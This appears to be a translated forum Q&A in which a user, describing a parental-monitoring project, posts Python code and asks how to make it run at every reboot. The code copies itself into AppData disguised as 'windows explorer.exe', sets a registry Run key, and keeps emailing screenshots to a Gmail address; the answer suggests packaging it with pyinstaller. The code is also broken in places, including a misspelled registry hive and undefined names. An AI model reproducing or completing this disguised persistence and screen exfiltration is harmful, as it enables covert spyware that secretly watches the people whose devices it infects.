[英]How can i make my python.exe file to start automtically when system is reboot
我正在研究一個名為“父母如何監控孩子”的項目,我必須提出我的想法,即我編寫一個 python 腳本,在特定時間間隔后將其子設備的屏幕截圖發送到其父郵件。
現在我想添加如何使我的 python code.exe 文件在系統重新啟動時自動啟動
不工作我的啟動代碼
在我看來,啟動代碼是
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
我的 Python 完整代碼
import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self
def become_persistent(self):
hidden_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(hidden_file_location):
shutil.copyfile(sys.executable, hidden_file_location)
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + hidden_file_location + '"', shell=True)
become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', port)
s.starttls()
s.login("email of parents", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "sender email"
msg['To'] = "recepient email"
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("sender email", "recipent email", msg.as_string())
# Change this value to your liking
time.sleep(120)
試着把線
os.environ['DISPLAY'] = ':0'
就在你的進口之下。
有多種方法可以在重啟時啟動 python 應用程序(不是強制轉換文件 in.exe) 在 Linux 中啟動時運行 Python 腳本
但是,如果仍然想轉換 python 文件 in.exe 使用下面的 python庫。
pip 安裝pyinstaller
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.